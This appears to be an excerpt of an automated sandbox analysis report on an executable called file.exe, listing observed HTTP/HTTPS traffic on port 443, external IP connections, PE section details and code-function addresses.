Source: unknown	Network traffic detected: HTTP traffic on port 63613 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63636 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63542 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63565 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63601 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63647 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63668 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63576 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63442 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63679 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63587 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63564 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63602 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63531 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63487 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63657 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63454 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63624 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63553 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63635 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63661 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63684 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63526
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63647
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63525
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63646
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63528
Source: unknown	Network traffic detected: HTTP traffic on port 63500 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63649
Source: unknown	Network traffic detected: HTTP traffic on port 63764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63527
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63648
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63529
Source: unknown	Network traffic detected: HTTP traffic on port 63598 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63760
Source: unknown	Network traffic detected: HTTP traffic on port 63569 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63641
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63640
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63643
Source: unknown	Network traffic detected: HTTP traffic on port 63523 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63764
Source: unknown	Network traffic detected: HTTP traffic on port 63787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63546 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63642
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63524
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63645
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63523
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63644
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63765
Source: unknown	Network traffic detected: HTTP traffic on port 63431 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63780
Source: unknown	Network traffic detected: HTTP traffic on port 63460 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63626 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63534 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63537
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63658
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63536
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63657
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63539
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63538
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63659
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63650
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63531
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63652
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63530
Source: unknown	Network traffic detected: HTTP traffic on port 63650 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63651
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63533
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63654
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63775
Source: unknown	Network traffic detected: HTTP traffic on port 63803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63532
Source: unknown	Network traffic detected: HTTP traffic on port 63637 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63653
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63535
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63656
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63534
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63655
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63776
Source: unknown	Network traffic detected: HTTP traffic on port 63730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63670
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63790
Source: unknown	Network traffic detected: HTTP traffic on port 63461 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63625 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63535 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63648 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63548
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63669
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63547
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63668
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63429
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63428
Source: unknown	Network traffic detected: HTTP traffic on port 63718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63540
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63661
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63660
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63542
Source: unknown	Network traffic detected: HTTP traffic on port 63580 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63663
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63541
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63662
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63544
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63665
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63543
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63664
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63785
Source: unknown	Network traffic detected: HTTP traffic on port 63804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63546
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63667
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63545
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63666
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63560
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63681
Source: unknown	Network traffic detected: HTTP traffic on port 63483 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63680
Source: unknown	Network traffic detected: HTTP traffic on port 63603 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63557 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63662 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63438
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63559
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63558
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63679
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63439
Source: unknown	Network traffic detected: HTTP traffic on port 63438 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63472 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63599 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63551
Source: unknown	Network traffic detected: HTTP traffic on port 63568 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63672
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63671
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63553
Source: unknown	Network traffic detected: HTTP traffic on port 63614 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63674
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63431
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63552
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63673
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63555
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63676
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63433
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63554
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63675
Source: unknown	Network traffic detected: HTTP traffic on port 63786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63557
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63436
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63678
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63556
Source: unknown	Network traffic detected: HTTP traffic on port 63673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63677
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63798
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63556 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63627 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63604 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63510 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63533 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63603
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63602
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63605
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63604
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63607
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63606
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63727
Source: unknown	Network traffic detected: HTTP traffic on port 63579 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63609
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63608
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63729
Source: unknown	Network traffic detected: HTTP traffic on port 63473 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63485 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63601
Source: unknown	Network traffic detected: HTTP traffic on port 63659 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63722
Source: unknown	Network traffic detected: HTTP traffic on port 63802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63600
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63721
Source: unknown	Network traffic detected: HTTP traffic on port 63429 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63682 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63614
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63613
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63615
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63618
Source: unknown	Network traffic detected: HTTP traffic on port 63719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63617
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63619
Source: unknown	Network traffic detected: HTTP traffic on port 63742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63545 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63610
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63612
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63733
Source: unknown	Network traffic detected: HTTP traffic on port 63788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63611
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63732
Source: unknown	Network traffic detected: HTTP traffic on port 63776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63484 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63625
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63624
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63506
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63627
Source: unknown	Network traffic detected: HTTP traffic on port 63660 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63505
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63626
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63747
Source: unknown	Network traffic detected: HTTP traffic on port 63439 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63508
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63629
Source: unknown	Network traffic detected: HTTP traffic on port 63720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63628
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63749
Source: unknown	Network traffic detected: HTTP traffic on port 63743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63509
Source: unknown	Network traffic detected: HTTP traffic on port 63544 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63615 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63567 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63500
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63621
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63620
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63623
Source: unknown	Network traffic detected: HTTP traffic on port 63638 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63672 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63622
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63743
Source: unknown	Network traffic detected: HTTP traffic on port 63754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63511 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63649 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63515
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63636
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63514
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63635
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63638
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63516
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63637
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63758
Source: unknown	Network traffic detected: HTTP traffic on port 63765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63578 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63639
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63630
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63751
Source: unknown	Network traffic detected: HTTP traffic on port 63451 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63750
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63511
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63632
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63510
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63631
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63513
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63634
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63633
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63754
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63537 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63514 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63490
Source: unknown	Network traffic detected: HTTP traffic on port 63755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63457 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63485
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63484
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63487
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63486
Source: unknown	Network traffic detected: HTTP traffic on port 63617 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63489
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63488
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63664 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63824 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63446 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63583 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63640 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63548 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63605 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63653 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63433 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63628 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63571 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63515 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63469 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63639 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63560 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63526 -> 443

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.51:443 -> 192.168.2.5:63429 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:63431 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:63433 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.5:63478 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.31.71:443 -> 192.168.2.5:63505 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 4.175.87.197:443 -> 192.168.2.5:63766 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C60B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C60B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C60B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C5AF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5A35A0	0_2_6C5A35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B5440	0_2_6C5B5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61545C	0_2_6C61545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61542B	0_2_6C61542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5C10	0_2_6C5E5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F2C10	0_2_6C5F2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61AC00	0_2_6C61AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CD4D0	0_2_6C5CD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B64C0	0_2_6C5B64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E6CF0	0_2_6C5E6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5AD4E0	0_2_6C5AD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6034A0	0_2_6C6034A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60C4A0	0_2_6C60C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5B6C80	0_2_6C5B6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5CED10	0_2_6C5CED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D0512	0_2_6C5D0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5BFD00	0_2_6C5BFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E0DD0	0_2_6C5E0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6085F0	0_2_6C6085F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C616E63	0_2_6C616E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C9E50	0_2_6C5C9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E3E50	0_2_6C5E3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F2E4E	0_2_6C5F2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5C4640	0_2_6C5C4640
